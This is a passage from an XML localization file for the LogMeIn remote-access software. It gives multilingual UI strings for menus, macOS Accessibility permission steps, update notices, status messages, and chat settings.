<en-gb>Change Computer &amp;Password...</en-gb>
<hu>Számítógép &amp;jelszavának módosítása...</hu>
<pt-br>Alterar &amp;senha do computador...</pt-br>
<nl>Computer&amp;wachtwoord wijzigen...</nl>
</msg>
<msg name="INITIATECHAT">
<en>Initiate chat with</en>
</msg>
<msg name="SPERF.DRV">
<en>Drive</en>
<de>Laufwerk</de>
<es>Unidad</es>
<fr>Lecteur</fr>
<it>Unità</it>
<ru>Диск</ru>
<ja>ドライブ</ja>
<zh>驱动器</zh>
<ko>드라이브</ko>
<en-gb>Drive</en-gb>
<hu>Meghajtó</hu>
<pt-br>Unidade</pt-br>
<nl>Station</nl>
</msg>
<msg name="SPERF.NETIN">
<en>Net In</en>
<de>Ankommend</de>
<es>Entrada red</es>
<fr>Réseau Interne</fr>
<it>Entrata rete</it>
<ru>Входящая сеть</ru>
<ja>ネットワーク受信</ja>
<zh>联机</zh>
<ko>Net 입력</ko>
<en-gb>Net In</en-gb>
<hu>Nettó be</hu>
<pt-br>Entrada na rede</pt-br>
<nl>Netto binnenkomend</nl>
</msg>
<msg name="SPERF.NETOUT">
<en>Net Out</en>
<de>Abgehend</de>
<es>Salida red</es>
<fr>Réseau Externe</fr>
<it>Uscita rete</it>
<ru>Исходящая сеть</ru>
<ja>ネットワーク送信</ja>
<zh>脱机</zh>
<ko>Net 출력</ko>
<en-gb>Net Out</en-gb>
<hu>Nettó ki</hu>
<pt-br>Saída da rede</pt-br>
<nl>Netto uitgaand</nl>
</msg>
<msg name="ABOUT">
<en>&amp;About...</en>
<de>&amp;Über...</de>
<es>&amp;Acerca de...</es>
<fr>&amp;A propos de...</fr>
<it>&amp;Informazioni su...</it>
<ru>&amp;Сведения...</ru>
<ja>バージョン情報(&amp;A)...</ja>
<zh>关于(&amp;A)...</zh>
<ko>정보(&amp;A)...</ko>
<en-gb>&amp;About...</en-gb>
<hu>&amp;Névjegy</hu>
<pt-br>&amp;Sobre...</pt-br>
<nl>&amp;Info...</nl>
</msg>
<msg name="EXIT.RA">
<en>E&amp;xit %PRODUCTNAME</en>
<de>%PRODUCTNAME &amp;beenden</de>
<es>S&amp;alir de %PRODUCTNAME</es>
<fr>Q&amp;uitter %PRODUCTNAME</fr>
<it>E&amp;sci da %PRODUCTNAME</it>
<ru>В&amp;ыйти из %PRODUCTNAME</ru>
<ja>終了 %PRODUCTNAME</ja>
<ko>%PRODUCTNAME 종료(&amp;X)</ko>
<zh>退出 %PRODUCTNAME (&amp;X)</zh>
<hu>K&amp;ilépés a %PRODUCTNAME programból</hu>
<pt-br>S&amp;air do %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME &amp;afsluiten</nl>
</msg>
<msg name="EXIT.RA" brand="LMI">
<en>E&amp;xit</en>
<es>&amp;Salir</es>
<de>&amp;Beenden</de>
<fr>&amp;Quitter</fr>
<it>&amp;Esci</it>
<nl>Verlaten</nl>
<pt-br>S&amp;air</pt-br>
<hu>&amp;Kilépés</hu>
<ru>В&amp;ыход</ru>
<ja>終了(&amp;X)</ja>
<ko>종료(&amp;X)</ko>
<zh>退出(&amp;X)</zh>
<en-gb>E&amp;xit</en-gb>
</msg>
<msg os="macosx" name="EXIT.RA">
<en>Quit %PRODUCTNAME</en>
<de>%PRODUCTNAME &amp;beenden</de>
<es>S&amp;alir de %PRODUCTNAME</es>
<fr>Q&amp;uitter %PRODUCTNAME</fr>
<it>E&amp;sci da %PRODUCTNAME</it>
<ru>В&amp;ыйти из %PRODUCTNAME</ru>
<ja>終了 %PRODUCTNAME</ja>
<ko>%PRODUCTNAME 종료(&amp;X)</ko>
<en-gb>Quit %PRODUCTNAME</en-gb>
<zh>退出 %PRODUCTNAME (&amp;X)</zh>
<hu>K&amp;ilépés a %PRODUCTNAME programból</hu>
<nl>%PRODUCTNAME &amp;afsluiten</nl>
</msg>
<cat name="TRUSTEDAPPUSERCONSENT">
<msg name="TITLE">
<en>To remote control this host, LogMeIn needs Accessibility permission:</en>
<en-gb>To remote control this host, LogMeIn needs Accessibility permission:</en-gb>
<fr>Pour contrôler cet hôte à distance, LogMeIn doit être autorisé dans Accessibilité:</fr>
<es>Para controlar este host de forma remota, LogMeIn necesita el permiso Accesibilidad:</es>
<de>Um diesen Host per Fernzugriff zu steuern, benötigt LogMeIn die Berechtigung „Bedienungshilfen“.</de>
<it>Per controllare in remoto questo host, LogMeIn ha bisogno dell'autorizzazione all'Accessibilità:</it>
<nl>Voor besturing op afstand van deze host heeft LogMeIn toegang tot Toegankelijkheid nodig:</nl>
<pt-br>Para controlar este host remotamente, o LogMeIn precisa da permissão Acessibilidade:</pt-br>
<zh>要远程控制此主机,LogMeIn 需要辅助功能权限:</zh>
<ru>Для удаленного управления этим хостом LogMeIn требуется разрешение на универсальный доступ:</ru>
<ja>LogMeIn がこのホストをリモート制御するには、アクセス許可が必要です。</ja>
<ko>호스트를 원격 제어하려면 LogMeIn은 액세스 권한이 필요합니다.</ko>
<hu>A gazdagép távvezérléséhez a LogMeIn programnak "Kisegítő lehetőségek" jogosultságra van szüksége:</hu>
</msg>
<msg name="STEP1">
<en>Click {b}Start Process{/b} to open the Accessibility Access window.</en>
<en-gb>Click {b}Start Process{/b} to open the Accessibility Access window.</en-gb>
<fr>Cliquez sur {b}Démarrer le Processus{/b} pour ouvrir la fenêtre Accessibilité.</fr>
<es>Haga clic en {b}Iniciar Proceso{/b} para abrir la ventana Accesibilidad.</es>
<de>Klicken Sie auf {b}Prozess Starten{/b}, um das Fenster „Zugriff auf die Bedienungshilfen“ zu öffnen.</de>
<it>Fai clic su {b}Avvia Processo{/b} per aprire la finestra di accesso all'Accessibilità.</it>
<nl>Klik op {b}Start Proces{/b} om het toegangsvenster voor Toegankelijkheid te openen.</nl>
<pt-br>Clique em {b}Iniciar Processo{/b} para abrir a janela de acesso de Acessibilidade.</pt-br>
<zh>单击“{b}启动流程{/b}”,打开辅助功能权限窗口。</zh>
<ru>Нажмите кнопку {b}Запуск процесса{/b}, чтобы открыть окно «Универсальный доступ».</ru>
<ja>{b}[プロセスの開始]{/b} をクリックして、[アクセシビリティ アクセス] ウィンドウを開きます。</ja>
<ko>손쉬운 사용 액세스 창을 열려면 {b}프로세스 시작을{/b} 클릭하십시오.</ko>
<hu>Kattintson a {b}Folyamat Indítása{/b} gombra a "Kisegítő lehetőségek" ablak megnyitásához.</hu>
</msg>
<msg name="STEP2">
<en>Click {b}Open Security Preferences{/b} to open the Security and Privacy window.</en>
<en-gb>Click {b}Open Security Preferences{/b} to open the Security and Privacy window.</en-gb>
<fr>Cliquez sur {b}Ouvrir Préférences Système{/b} pour afficher la fenêtre Sécurité et confidentialité.</fr>
<es>Haga clic en {b}Abrir preferencias de seguridad{/b} para abrir la ventana Seguridad y privacidad.</es>
<de>Klicken Sie auf {b}Systemeinstellungen öffnen{/b}, um das Fenster „Sicherheit“ zu öffnen.</de>
<it>Fai clic su {b}Apri Preferenze di Sistema{/b} per aprire la finestra Sicurezza e Privacy.</it>
<nl>Klik op {b}Open Systeemvoorkeuren{/b} om het venster 'Beveiliging en privacy' te openen.</nl>
<pt-br>Clique em {b}Abrir preferências do sistema{/b} para abrir a janela de segurança e privacidade.</pt-br>
<zh>单击“{b}打开系统偏好设置{/b}”,打开“安全性与隐私”窗口。</zh>
<ru>Откройте {b}Системные настройки{/b}, чтобы открыть окно «Защита и безопасность».</ru>
<ja>{b}[システム環境設定を開く]{/b} をクリックして、[セキュリティとプライバシー] ウインドウを開きます。</ja>
<ko>보안 및 개인정보 창을 {b}열려면 시스템 환경설정을{/b} 클릭하십시오.</ko>
<hu>Kattintson a {b}Rendszerbeállítások megnyitása{/b} gombra a "Biztonság és adatvédelem" ablak megnyitásához.</hu>
</msg>
<msg name="STEP3">
<en>Click on the lock icon (in the bottom-left corner) in order to make changes.</en>
<en-gb>Click on the lock icon (in the bottom-left corner) in order to make changes.</en-gb>
<fr>Cliquez sur l’icône de cadenas (dans le coin inférieur gauche) pour pouvoir faire des modifications.</fr>
<es>Para realizar cambios, haga clic en el icono del candado situado en la esquina inferior izquierda.</es>
<de>Klicken Sie auf das Schlosssymbol (in der unteren linken Ecke), um Änderungen vorzunehmen.</de>
<it>Fai clic sull'icona del lucchetto (nell'angolo inferiore sinistro) per apportare modifiche.</it>
<nl>Klik op het hangslot (links onderin) om wijzigingen te kunnen aanbrengen.</nl>
<pt-br>Clique no ícone do cadeado (canto inferior esquerdo) para efetuar as alterações.</pt-br>
<zh>单击左下角的锁形图标以进行更改。</zh>
<ru>Нажмите замок (в левом нижнем углу окна), чтобы внести изменения.</ru>
<ja>変更するには左下にあるカギをクリックします。</ja>
<ko>변경하려면 왼쪽 아래 모서리에 있는 자물쇠 아이콘을 클릭하십시오.</ko>
<hu>Kattintson a lakatot ábrázoló ikonra (a képernyő bal alsó sarkában) a módosítások engedélyezéséhez.</hu>
</msg>
<msg name="STEP4">
<en>Log in with an Administrator account.</en>
<en-gb>Log in with an Administrator account.</en-gb>
<fr>Identifiez-vous avec un compte Administrateur.</fr>
<es>Inicie sesión con una cuenta de administrador.</es>
<de>Melden Sie sich mit einem Administratoraccount an.</de>
<it>Accedi con un account Amministratore.</it>
<nl>Meld u aan met een beheerdersaccount.</nl>
<pt-br>Conecte-se com a conta de administrador.</pt-br>
<zh>以管理员帐户登录。</zh>
<ru>Выполните вход с учетной записью администратора.</ru>
<ja>管理者アカウントでログインします。</ja>
<ko>관리자 계정으로 로그인하십시오.</ko>
<hu>Jelentkezzen be egy adminisztrátori fiókkal.</hu>
</msg>
<msg name="STEP5">
<en>When prompted, ensure {b}LMIGUIAgent{/b} and {b}LogMeIn{/b} are selected. You will be prompted to select these apps multiple times.</en>
<en-gb>When prompted, ensure {b}LMIGUIAgent{/b} and {b}LogMeIn{/b} are selected. You will be prompted to select these apps multiple times.</en-gb>
<fr>À l'invite, assurez-vous que {b}LMIGUIAgent{/b} et {b}LogMeIn{/b} sont sélectionnés. Vous serez invité à sélectionner ces apps plusieurs fois.</fr>
<es>Cuando se le pregunte, asegúrese de que {b}LMIGUIAgent{/b} y {b}LogMeIn{/b} están seleccionados. Se le pedirá que seleccione estas aplicaciones varias veces.</es>
<de>Vergewissern Sie sich, dass {b}LMIGUIAgent{/b} und {b}LogMeIn{/b} ausgewählt sind, wenn Sie dazu aufgefordert werden. Sie werden mehrmals dazu aufgefordert, diese Apps auszuwählen.</de>
<it>Quando richiesto, assicurati che siano selezionati {b}LMIGUIAgent{/b} e {b}LogMeIn{/b}. Ti verrà richiesto più volte di selezionare tali app.</it>
<nl>Zorg ervoor dat {b}LMIGUIAgent{/b} en {b}LogMeIn{/b} zijn geselecteerd als dit wordt gevraagd. U krijgt meerdere keren de vraag om deze toepassingen te selecteren.</nl>
<pt-br>Quando solicitado, certifique-se de que {b}LMIGUIAgent{/b} e {b}LogMeIn{/b} sejam selecionados. Você receberá uma solicitação para selecionar esses apps várias vezes.</pt-br>
<zh>当出现提示时,确保选中 {b}LMIGUIAgent{/b} 和 {b}LogMeIn{/b}。 系统将多次提醒您选择这些应用程序。</zh>
<ru>При отображении запроса обязательно выберите {b}LMIGUIAgent{/b} и {b}LogMeIn{/b}. Вам будет предложено выбрать эти приложения несколько раз.</ru>
<ja>プロンプトが表示されたら、 {b}LMIGUIAgent{/b} および {b}LogMeIn{/b} が選択されていることを確認してください。 これらのアプリを複数回選択するよう求められます。</ja>
<ko>창이 표시되면 {b}LMIGUIAgent{/b} 및 {b}LogMeIn{/b}이 선택되었는지 확인하십시오. 이러한 앱을 여러 번 선택하라고 표시됩니다.</ko>
<hu>Amikor a szoftver erre kéri, jelölje ki a {b}LMIGUIAgent{/b} és a {b}LogMeIn{/b} alkalmazásokat. A szoftver többször meg fogja kérni Önt ezen alkalmazások kijelölésére.</hu>
</msg>
<msg name="FORMOREINFO">
<en>For more information, {a target="_blank" href="$(URL)"}click here{/a}.</en>
<en-gb>For more information, {a target="_blank" href="$(URL)"}click here{/a}.</en-gb>
<fr>Pour en savoir plus, {a target="_blank" href="$(URL)"}cliquez ici{/a}.</fr>
<es>Para obtener más información, {a target="_blank" href="$(URL)"}haga clic aquí{/a}.</es>
<de>{a target="_blank" href="$(URL)"}Klicken Sie hier{/a}, um weitere Informationen zu erhalten.</de>
<it>Per ulteriori informazioni, {a target="_blank" href="$(URL)"}fai clic qui{/a}.</it>
<nl>Voor meer informatie {a target="_blank" href="$(URL)"}klikt u hier{/a}.</nl>
<pt-br>Para obter mais informações, {a target="_blank" href="$(URL)"}clique aqui{/a}.</pt-br>
<zh>了解更多信息,{a target="_blank" href="$(URL)"}请点击此处。{/a}</zh>
<ru>С дополнительной информацией можно ознакомиться {a target="_blank" href="$(URL)"}по этой ссылке{/a}.</ru>
<ja>詳細については、{a target="_blank" href="$(URL)"}こちらをクリックしてください。{/a}</ja>
<ko>자세한 정보는 {a target="_blank" href="$(URL)"}여기를 클릭하십시오{/a}.</ko>
<hu>További információkért {a target="_blank" href="$(URL)"}kattintson ide{/a}.</hu>
</msg>
<msg name="STARTPROCESS">
<en>Start Process</en>
<en-gb>Start Process</en-gb>
<fr>Démarrer le Processus</fr>
<es>Iniciar Proceso</es>
<de>Prozess Starten</de>
<it>Avvia Processo</it>
<nl>Start Proces</nl>
<pt-br>Iniciar Processo</pt-br>
<zh>启动流程</zh>
<ru>Запуск процесса</ru>
<ja>プロセスの開始</ja>
<ko>프로세스 시작</ko>
<hu>Folyamat Indítása</hu>
</msg>
<msg name="SUCCESS">
<en>Successful</en>
<en-gb>Successful</en-gb>
<fr>Opération réussie</fr>
<es>Correcto</es>
<de>Vorgang erfolgreich</de>
<it>Operazione completata</it>
<nl>Geslaagd</nl>
<pt-br>Com sucesso</pt-br>
<zh>成功</zh>
<ru>Готово</ru>
<ja>成功しました</ja>
<ko>변경되었습니다!</ko>
<hu>Sikerült!</hu>
</msg>
<msg name="CANACCESS">
<en>LogMeIn can now access your mac.</en>
<en-gb>LogMeIn can now access your mac.</en-gb>
<fr>LogMeIn peut désormais accéder à votre Mac.</fr>
<es>LogMeIn ya puede acceder a su Mac.</es>
<de>LogMeIn kann jetzt auf Ihren Mac zugreifen.</de>
<it>Ora puoi accedere al tuo mac.</it>
<nl>LogMeIn heeft nu toegang tot uw Mac</nl>
<pt-br>Agora o LogMeIn consegue acessar seu mac.</pt-br>
<zh>现在 LogMeIn 可以访问您的 Mac 了。</zh>
<ru>Теперь LogMeIn может управлять вашим Mac.</ru>
<ja>LogMeIn はお使いの mac にアクセスできます。</ja>
<ko>이제 LogMeIn이 Mac에 액세스할 수 있습니다.</ko>
<hu>A LogMeIn mostantól hozzáfér Mac számítógépéhez.</hu>
</msg>
<msg name="DONE">
<en>Done</en>
<en-gb>Done</en-gb>
<fr>Terminé</fr>
<es>Listo</es>
<de>Fertig</de>
<it>Fine</it>
<nl>Gereed</nl>
<pt-br>Concluído</pt-br>
<zh>完成</zh>
<ru>Готово</ru>
<ja>完了</ja>
<ko>완료</ko>
<hu>Kész</hu>
</msg>
</cat>
<!-- updates -->
<cat name="UPDATES">
<msg name="NOUPDATES.TITLE">
<en>No updates are available at this time.</en>
<de>Zur Zeit sind keine Updates verfügbar.</de>
<es>No hay actualizaciones disponibles en este momento.</es>
<fr>Aucune mise à jour n'est disponible actuellement.</fr>
<it>Al momento non è disponibile alcun aggiornamento.</it>
<ru>Нет доступных обновлений.</ru>
<ja>現在利用できる更新はありません。</ja>
<zh>现在没有可用的更新。</zh>
<ko>현재 사용 가능한 업데이트가 없습니다.</ko>
<en-gb>No updates are available at this time.</en-gb>
<hu>Most nincsenek elérhető frissítések.</hu>
<pt-br>As atualizações estão disponíveis neste momento.</pt-br>
<nl>Op dit moment zijn geen updates beschikbaar.</nl>
</msg>
<msg name="NOUPDATES.BODY">
<en>You are using the latest version of the LogMeIn software.</en>
<de>Sie verwenden die aktuellste Version der LogMeIn-Software.</de>
<es>Está utilizando la última versión del software de LogMeIn.</es>
<fr>Vous utilisez la dernière version du logiciel LogMeIn.</fr>
<it>Si sta utilizzando la versione più recente del software LogMeIn.</it>
<ru>Вы используете последнюю версию программного обеспечения LogMeIn.</ru>
<ja>最新バージョンの LogMeIn ソフトウェアを使用しています。</ja>
<zh>您使用的是最新版本的 LogMeIn 软件。</zh>
<ko>LogMeIn 소프트웨어의 최신 버전을 사용하고 있습니다.</ko>
<en-gb>You are using the latest version of the LogMeIn software.</en-gb>
<hu>Ön a LogMeIn szoftver legfrissebb verzióját használja.</hu>
<pt-br>Você está usando a versão mais recente do software LogMeIn.</pt-br>
<nl>U gebruikt op dit moment de meest recente versie van de LogMeIn-software.</nl>
</msg>
<msg name="DLUPDATES.TITLE">
<en>The latest version of LogMeIn is being downloaded to your computer.</en>
<de>Das LogMeIn-Update wird auf den Computer heruntergeladen.</de>
<es>La actualización de LogMeIn se está descargando en su ordenador.</es>
<fr>La mise à jour LogMeIn est en cours de téléchargement sur votre ordinateur.</fr>
<it>Si sta effettuando il download dell'aggiornamento di LogMeIn sul computer.</it>
<ru>Обновление LogMeIn загружается на ваш компьютер.</ru>
<ja>LogMeIn の更新をコンピュータにダウンロードしています。</ja>
<zh>LogMeIn 更新已下载到您的计算机中。</zh>
<ko>LogMeIn 업데이트를 컴퓨터에 다운로드하는 중입니다.</ko>
<en-gb>The LogMeIn update is being downloaded onto your computer.</en-gb>
<hu>A LogMeIn frissítés letöltődik a számítógépre.</hu>
<pt-br>A atualização do LogMeIn está sendo baixada para o seu computador.</pt-br>
<nl>De update voor de LogMeIn-software wordt nu naar uw computer gedownload.</nl>
</msg>
<msg name="DLUPDATES.BODY">
<en>You will be notified when it is ready to be installed.</en>
<de>Sie werden benachrichtigt, wenn das Update installiert werden kann.</de>
<es>Se le notificará cuando esté listo para ser instalado.</es>
<fr>Vous serez prévenu(e) lorsqu'elle sera prête pour l'installation.</fr>
<it>Quando sarà possibile iniziare l'installazione, apparirà un messaggio.</it>
<ru>Вы получите оповещение, когда обновление будет готово к установке.</ru>
<ja>インストールの準備が完了すると、メッセージが表示されます。</ja>
<zh>当其准备好进行安装时会通知您。</zh>
<ko>설치할 준비가 되면 사용자에게 알립니다.</ko>
<en-gb>You will be notified when it is ready to be installed.</en-gb>
<hu>Értesítést fog kapni, amikor a program készen áll a telepítésre.</hu>
<pt-br>Você será notificado quando ela estiver pronta para ser instalada.</pt-br>
<nl>Er verschijnt een melding wanneer de update klaar is om te worden geïnstalleerd.</nl>
</msg>
<msg name="DLUPDATESAUTO.BODY">
<en>Installation will begin automatically upon successful download.</en>
<de>Die Installation wird nach erfolgreichem Download automatisch gestartet.</de>
<es>La instalación comenzará automáticamente tras completar con éxito la descarga.</es>
<fr>L'installation démarrera automatiquement dès le téléchargement réussi.</fr>
<it>L’installazione verrà avviata automaticamente al completamento del download.</it>
<ru>Установка начнется автоматически после успешной загрузки.</ru>
<ja>ダウンロードが正常に完了すると、自動的にインストールが開始されます。</ja>
<zh>成功下载后自动开始安装。</zh>
<ko>다운로드가 완료되면 설치를 자동으로 시작합니다.</ko>
<en-gb>Installation will begin automatically upon successful download.</en-gb>
<hu>A telepítés a sikeres letöltést követően automatikusan elindul.</hu>
<pt-br>A instalação começará automaticamente após o download bem-sucedido.</pt-br>
<nl>De installatie wordt automatisch gestart nadat het downloaden is voltooid.</nl>
</msg>
</cat>
<!-- status window -->
<!-- uses CLOSE -->
<msg name="STATUS.CAPTION">
<en>%PRODUCTNAME Status</en>
<de>%PRODUCTNAME Status</de>
<es>%PRODUCTNAME Estado</es>
<fr>Statut de %PRODUCTNAME</fr>
<it>Stato di %PRODUCTNAME</it>
<ru>Состояние %PRODUCTNAME</ru>
<ja>%PRODUCTNAME ステータス</ja>
<zh>%PRODUCTNAME 状态</zh>
<ko>%PRODUCTNAME 상태</ko>
<en-gb>%PRODUCTNAME Status</en-gb>
<hu>%PRODUCTNAME Állapot</hu>
<pt-br>Status do %PRODUCTNAME</pt-br>
<nl>Status van %PRODUCTNAME</nl>
</msg>
<msg name="STATUS.NOTLISTENING">
<en>%PRODUCTNAME is not running.</en>
<de>%PRODUCTNAME läuft nicht.</de>
<es>%PRODUCTNAME no se está ejecutando.</es>
<fr>%PRODUCTNAME ne fonctionne pas.</fr>
<it>%PRODUCTNAME non in esecuzione.</it>
<ru>%PRODUCTNAME не запущено.</ru>
<ja>%PRODUCTNAME は実行していません</ja>
<zh>%PRODUCTNAME 未运行。</zh>
<ko>%PRODUCTNAME이(가) 실행 중이 아닙니다.</ko>
<en-gb>%PRODUCTNAME is not running.</en-gb>
<hu>A %PRODUCTNAME nem fut.</hu>
<pt-br>O %PRODUCTNAME não está em execução.</pt-br>
<nl>%PRODUCTNAME is niet gestart.</nl>
</msg>
<msg name="STATUS.ALLIPS">
<!-- The %s below is a placeholder for the IP address strings. The result will be something like:
Listening on all IP addresses (http://192.168.0.1:2000, etc)
-->
<en>Listening on all IP addresses (%s, etc.)</en>
<de>Alle verfügbaren Anschlüsse werden verwendet (%s, usw.)</de>
<es>Escuchando todas las direcciones IP (%s, etc.)</es>
<fr>Ecoute sur toutes les adresses IP (%s, etc.)</fr>
<it>In attesa su tutti gli indirizzi IP (%s, ecc.)</it>
<ru>Прослушивание по всем IP-адресам (%s, и т.д.)</ru>
<ja>すべての IP アドレス (%s など) をリスンしています</ja>
<zh>正在侦听所有 IP 地址(%s 等)</zh>
<ko>모든 IP 주소(%s 등)에서 수신 중</ko>
<en-gb>Listening on all IP addresses (%s, etc.)</en-gb>
<hu>Minden IP cím figyelése (%s, stb.)</hu>
<pt-br>Verificando todos os endereços IP (%s etc.)</pt-br>
<nl>Bezig met luisteren naar alle IP-adressen (%s, enz.)</nl>
</msg>
<msg name="STATUS.ONEIP">
<!-- The %s below is a placeholder for the IP address string. The result will be something like:
Listening on http://192.168.0.1:2000
-->
<en>Listening on %s</en>
<de>%s wird verwendet</de>
<es>Escuchando %s</es>
<fr>Ecoute sur %s</fr>
<it>In attesa su %s</it>
<ru>Прослушивание %s</ru>
<ja>%s をリスンしています</ja>
<zh>正在侦听 %s</zh>
<ko>%s에서 수신 중</ko>
<en-gb>Listening on %s</en-gb>
<hu>%s figyelése</hu>
<pt-br>Verificando %s</pt-br>
<nl>Bezig met luisteren naar %s</nl>
</msg>
<msg name="HELP">
<en>&amp;Help</en>
<de>&amp;Hilfe</de>
<es>&amp;Ayuda</es>
<fr>&amp;Aide</fr>
<it>&amp;Aiuto</it>
<ru>&amp;Справка</ru>
<ja>ヘルプ(&amp;H)</ja>
<zh>帮助(&amp;H)</zh>
<ko>도움말(&amp;H)</ko>
<en-gb>&amp;Help</en-gb>
<hu>&amp;Súgó</hu>
<pt-br>&amp;Ajuda</pt-br>
<nl>&amp;help</nl>
</msg>
<msg name="HELPNOTFOUND">
<en>The help file could not be found. Check your %PRODUCTNAME installation.</en>
<de>Die Hilfedatei konnte nicht gefunden werden, Prüfen sie ihre %PRODUCTNAME Installation.</de>
<es>No se ha podido encontrar el archivo help. Verifique la instalación de %PRODUCTNAME.</es>
<fr>Le dossier d'aide n'a pas pu être trouvé. Vérifiez votre installation de %PRODUCTNAME.</fr>
<it>Impossibile trovare il file della Guida. Verificare l'installazione di %PRODUCTNAME.</it>
<ru>Не удалось найти файл справки. Проверьте установку %PRODUCTNAME.</ru>
<ja>ヘルプ ファイルが見つかりませんでした。%PRODUCTNAME インストールを確認してください。</ja>
<zh>无法找到帮助文件。请检查 %PRODUCTNAME 安装。</zh>
<ko>도움말 파일을 찾을 수 없습니다. %PRODUCTNAME 설치를 확인하십시오.</ko>
<en-gb>The help file could not be found. Check your %PRODUCTNAME installation.</en-gb>
<hu>A súgófájl nem található. Ellenőrizze a %PRODUCTNAME telepítést.</hu>
<pt-br>O arquivo de ajuda não pôde ser encontrado. Verifique a instalação do %PRODUCTNAME.</pt-br>
<nl>Kan het Help-bestand niet vinden. Controleer de installatie van uw %PRODUCTNAME-software.</nl>
</msg>
<!-- performance window menu -->
<!-- uses CLOSE -->
<msg name="SWITCH.LARGE">
<en>&amp;Large</en>
<de>&amp;Groß</de>
<es>&amp;Grande</es>
<fr>&amp;Grand</fr>
<it>&amp;Grande</it>
<ru>&amp;Большой</ru>
<ja>大(&amp;L)</ja>
<zh>大(&amp;L)</zh>
<ko>크게(&amp;L)</ko>
<en-gb>&amp;Large</en-gb>
<hu>&amp;Nagy</hu>
<pt-br>&amp;Grande</pt-br>
<nl>&amp;Groot</nl>
</msg>
<msg name="SWITCH.SMALL">
<en>&amp;Small</en>
<de>&amp;Klein</de>
<es>&amp;Pequeño</es>
<fr>&amp;Petit</fr>
<it>&amp;Piccola</it>
<ru>&amp;Маленький</ru>
<ja>小(&amp;S)</ja>
<zh>小(&amp;S)</zh>
<ko>작게(&amp;S)</ko>
<en-gb>&amp;Small</en-gb>
<hu>&amp;Kicsi</hu>
<pt-br>&amp;Reduzida</pt-br>
<nl>&amp;Klein</nl>
</msg>
<msg name="ALWAYSONTOP">
<en>&amp;Always on Top</en>
<de>&amp;Immer im Vordergrund</de>
<es>&amp;Siempre visible</es>
<fr>&amp;Toujours en premier plan</fr>
<it>&amp;Sempre in primo piano</it>
<ru>&amp;Поверх остальных окон</ru>
<ja>常に一番上に表示 (&amp;A)</ja>
<zh>总显示在最前端(&amp;A)</zh>
<ko>항상 위(&amp;A)</ko>
<en-gb>&amp;Always on Top</en-gb>
<hu>&amp;Mindig legfelül</hu>
<pt-br>&amp;Sempre no início</pt-br>
<nl>&amp;Altijd op voorgrond</nl>
</msg>
<!-- chat dialog -->
<!-- uses CLOSE -->
<msg name="CHAT.CAPTION">
<!-- prefixed by the remote user's name -->
<en> - Chat - %PRODUCTNAME12345678901234567890</en>
<de>- Dialog - %PRODUCTNAME12345678901234567890</de>
<es>- Conversación - %PRODUCTNAME12345678901234567890</es>
<fr>- Chat - %PRODUCTNAME12345678901234567890</fr>
<it>- Chat - %PRODUCTNAME12345678901234567890</it>
<ru>- Чат - %PRODUCTNAME12345678901234567890</ru>
<ja>- チャット - %PRODUCTNAME12345678901234567890</ja>
<zh>- 聊天 - %PRODUCTNAME12345678901234567890</zh>
<ko>- 대화 - %PRODUCTNAME12345678901234567890</ko>
<en-gb>- Chat - %PRODUCTNAME12345678901234567890</en-gb>
<hu>- Csevegés - %PRODUCTNAME12345678901234567890</hu>
<pt-br>-  Bate-papo) - %PRODUCTNAME12345678901234567890</pt-br>
<nl>- Chat - %PRODUCTNAME12345678901234567890</nl>
</msg>
<msg name="CHAT.SEND">
<en>&amp;Send</en>
<de>&amp;Senden</de>
<es>&amp;Enviar</es>
<fr>&amp;Envoyer</fr>
<it>&amp;Invia</it>
<ru>&amp;Отправить</ru>
<ja>送信(&amp;S)</ja>
<zh>发送(&amp;S)</zh>
<ko>보내기(&amp;S)</ko>
<en-gb>&amp;Send</en-gb>
<hu>&amp;Küldés</hu>
<pt-br>&amp;Enviar</pt-br>
<nl>&amp;Verzenden</nl>
</msg>
<msg name="CHAT.CFG">
<en>S&amp;ettings</en>
<de>&amp;Einstellungen</de>
<es>C&amp;onfiguración</es>
<fr>P&amp;aramètres</fr>
<it>I&amp;mpostazioni</it>
<ru>&amp;Настройки</ru>
<ja>設定(&amp;E)</ja>
<zh>设置(&amp;E)</zh>
<ko>설정(&amp;E)</ko>
<en-gb>S&amp;ettings</en-gb>
<hu>B&amp;eállítások</hu>
<pt-br>C&amp;onfigurações</pt-br>
<nl>I&amp;nstellingen</nl>
</msg>
<!-- chat config dialog -->
<!-- uses OK, CANCEL -->
<msg name="CHATCFG.CAPTION">
<en>%PRODUCTNAME12345678901234567890 Chat Settings</en>
<de>%PRODUCTNAME12345678901234567890 Dialog Einstellungen</de>
<es>%PRODUCTNAME12345678901234567890 Configuración de la conversación</es>
<fr>%PRODUCTNAME12345678901234567890 Paramètres du Chat</fr>
<it>%PRODUCTNAME12345678901234567890 Impostazioni chat</it>
<ru>%PRODUCTNAME12345678901234567890 Настройки чата</ru>
<ja>%PRODUCTNAME12345678901234567890 チャットの設定</ja>
<zh>%PRODUCTNAME12345678901234567890 聊天设置</zh>
<ko>%PRODUCTNAME12345678901234567890 대화 설정</ko>
<en-gb>%PRODUCTNAME12345678901234567890 Chat Settings</en-gb>
<hu>%PRODUCTNAME12345678901234567890 csevegési beállítások</hu>
<pt-br>Configurações de bate-papo do %PRODUCTNAME12345678901234567890</pt-br>
<nl>%PRODUCTNAME12345678901234567890 - Chatinstellingen</nl>
</msg>
<msg name="CHATCFG.FONT">
<en>&amp;Font...</en>
<de>&amp;Schriftart...</de>
<es>&amp;Fuente...</es>
<fr>&amp;Police...</fr>
<it>&amp;Font...</it>
<ru>&amp;Шрифт...</ru>
<ja>フォント(&amp;F)...</ja>
<zh>字体(&amp;F)...</zh>
<ko>글꼴(&amp;F)...</ko>
<en-gb>&amp;Font...</en-gb>
<hu>&amp;Betűtípus</hu>
<pt-br>&amp;Fonte...</pt-br>
<nl>&amp;Lettertype...</nl>
</msg>
<msg name="CHATCFG.SYSMSG">
<en>System Messages</en>
<de>Systemmeldungen</de>
<es>Mensajes del sistema</es>
<fr>Messages systèmes</fr>
<it>Messaggi di sistema</it>
<ru>Системные сообщения</ru>
<ja>システム メッセージ</ja>
<zh>系统信息</zh>
<ko>시스템 메시지</ko>
<en-gb>System Messages</en-gb>
<hu>Rendszerüzenetek</hu>
<pt-br>Mensagens do sistema</pt-br>
<nl>Systeemberichten</nl>
</msg>
<msg name="CHATCFG.LOCALNAME">
<en>Local user name</en>
<de>Lokaler Benutzername</de>
<es>Nombre de usuario local</es>
<fr>Nom de l'utilisateur local</fr>
<it>Nome utente locale</it>
<ru>Имя локального пользователя</ru>
<ja>ローカル ユーザ名</ja>
<zh>本地用户名</zh>
<ko>로컬 사용자 이름</ko>
